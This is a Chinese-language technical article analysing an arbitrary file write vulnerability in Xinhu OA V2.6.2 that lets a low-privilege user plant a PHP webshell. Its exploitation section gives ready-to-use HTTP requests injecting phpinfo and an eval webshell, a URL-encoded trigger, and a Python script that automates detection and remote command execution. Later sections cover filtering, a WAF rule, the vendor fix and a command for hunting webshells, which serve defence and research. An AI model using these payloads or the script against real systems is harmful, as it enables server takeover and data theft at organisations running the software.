信呼OA V2.6.2 任意文件写入漏洞深度解析与实战利用
漏洞背景与影响范围
信呼OA作为一款在中小企业中广泛使用的开源协同办公系统,其安全性直接关系到企业核心数据资产的安全。2023年12月发布的V2.6.2版本中存在一个高危的任意文件写入漏洞,攻击者仅需普通用户权限即可通过精心构造的请求在服务器上写入PHP webshell,进而实现远程代码执行。
该漏洞的特殊性在于:
- 低权限要求:不同于传统OA系统漏洞需要管理员权限,此漏洞普通用户即可触发
- 新版影响:区别于早期版本已知漏洞,这是首个公开的V2.6.x系列可利用漏洞
- 隐蔽性强:漏洞利用过程不涉及文件上传,可绕过常规WAF检测规则
根据网络空间测绘数据显示,全球使用信呼OA的网站超过1万个,主要分布在制造业、教育机构和政府单位,其中约60%运行着受影响版本。
漏洞原理与代码审计
核心问题定位
漏洞根源位于webmain/main/flow/flowAction.php文件中的copymodeAjax方法。该方法在处理模板复制请求时,未对用户输入的name参数进行有效过滤,直接将其拼接到PHP文件内容中。
关键漏洞代码如下:
public function copymodeAjax() { $id = (int)$this->get('id'); $name = $this->get('name'); // 未过滤的用户输入 //... $stra = '<?php class mode_'.$name.'ClassAction extends inputAction {...}'; $this->rock->createtxt($apaths, $stra); // 直接写入文件 }漏洞触发链条
完整的漏洞利用涉及以下关键步骤:
- 参数注入点:
name参数通过POST传递,允许包含特殊字符 - 大小写转换:系统自动将输入转为小写,限制了大写字母的使用
- 文件写入:通过
createtxt方法将构造的类定义写入/flow/input/目录 - 文件访问:生成的PHP文件可通过固定URL路径直接访问
安全机制绕过分析
虽然系统存在部分防护措施,但均被有效绕过:
| 防护措施 | 绕过方法 | 有效性 |
|---|---|---|
| XSS过滤 | 使用{}分隔PHP代码 | 完全绕过 |
| 大小写限制 | 使用strtoupper动态转换 | 部分绕过 |
| 文件后缀检查 | 固定生成.php文件 | 不适用 |
漏洞利用实战
基础利用 - 写入PHP信息页
通过以下请求可在服务器上创建包含phpinfo()的测试文件:
POST /index.php?d=main&m=flow&a=copymode&ajaxbool=true HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded id=1&name=a{};phpinfo();class a生成的文件可通过两种路径访问:
/webmain/flow/input/mode_a{};phpinfo();class aAction.php/webmain/model/flow/mode_a{};phpinfo();class aModel.php
高级利用 - 写入功能性Webshell
由于大小写限制,需要使用特殊技巧写入可用的webshell:
POST /index.php?d=main&m=flow&a=copymode&ajaxbool=true HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded id=1&name=a{};eval(strtoupper("eval($_request[1]);"));class a访问时需进行URL编码:
http://target.com/webmain/flow/input/mode_a%7B%7D%3Beval%28strtoupper%28%22eval%28%24_request%5B1%5D%29%3B%22%29%29%3Bclass%20aAction.php?1=echo%20md5(1);自动化利用脚本
以下Python脚本可自动化漏洞检测与利用:
import requests import urllib.parse def check_vuln(url): payload = "a{};phpinfo();class a" data = {"id": "1", "name": payload} try: r = requests.post(f"{url}/index.php?d=main&m=flow&a=copymode&ajaxbool=true", data=data, timeout=10) if r.status_code == 200: return True except: pass return False def exploit(url, cmd): payload = f"a{{}};eval(strtoupper(\"eval($_request[1]);\"));class a" data = {"id": "1", "name": payload} requests.post(f"{url}/index.php?d=main&m=flow&a=copymode&ajaxbool=true", data=data) encoded = urllib.parse.quote(payload) r = requests.get(f"{url}/webmain/flow/input/mode_{encoded}Action.php?1={cmd}") return r.text防御方案与修复建议
临时缓解措施
对于无法立即升级的用户,建议采取以下防护:
输入过滤:在应用层添加对
name参数的严格校验- 仅允许字母数字和下划线
- 过滤所有特殊字符
{};()$
目录权限:限制
/webmain/flow/input/目录的写入权限chmod -R 755 /path/to/webmain/flow/input/WAF规则:添加以下自定义规则拦截攻击请求
SecRule ARGS_POST:name "@contains {}" "id:1001,deny,status:403"
官方修复方案
信呼OA官方已在后续版本中通过以下方式修复漏洞:
参数过滤:对
name参数增加正则校验$name = preg_replace('/[^a-zA-Z0-9_]/', '', $name);内容转义:对写入文件的内容进行HTML实体编码
$stra = htmlspecialchars($stra, ENT_QUOTES);权限校验:增加模板复制操作的权限检查
建议所有用户升级至V2.6.3或更高版本,升级前务必做好数据备份。
漏洞挖掘方法论
本漏洞的发现过程体现了经典的白盒审计思路:
- 危险函数追踪:全局搜索
file_put_contents、fwrite等文件操作函数 - 参数回溯分析:从写入点反向追踪用户可控输入源
- 调用链重构:绘制完整的参数传递路径图
- 利用场景构建:结合业务逻辑设计可行的攻击路径
在实际审计中,还应特别注意以下代码模式:
- 动态文件生成(如模板引擎)
- 未过滤的用户输入直接拼接
- 非常规文件操作(如日志写入、缓存生成)
企业安全防护体系建议
针对此类办公系统的安全防护,建议建立多层防御体系:
| 防护层级 | 具体措施 | 实施要点 |
|---|---|---|
| 网络层 | 入侵检测系统 | 监控异常文件创建行为 |
| 主机层 | 文件完整性监控 | 关键目录变更告警 |
| 应用层 | 输入输出过滤 | 统一安全过滤组件 |
| 数据层 | 定期备份 | 离线存储备份数据 |
| 管理层 | 漏洞管理流程 | 建立补丁更新机制 |
特别提醒:在漏洞修复后,应全面检查服务器是否存在遗留的webshell文件,推荐使用以下命令进行排查:
find /var/www -name "*.php" -mtime -7 -exec grep -l "eval(" {} \;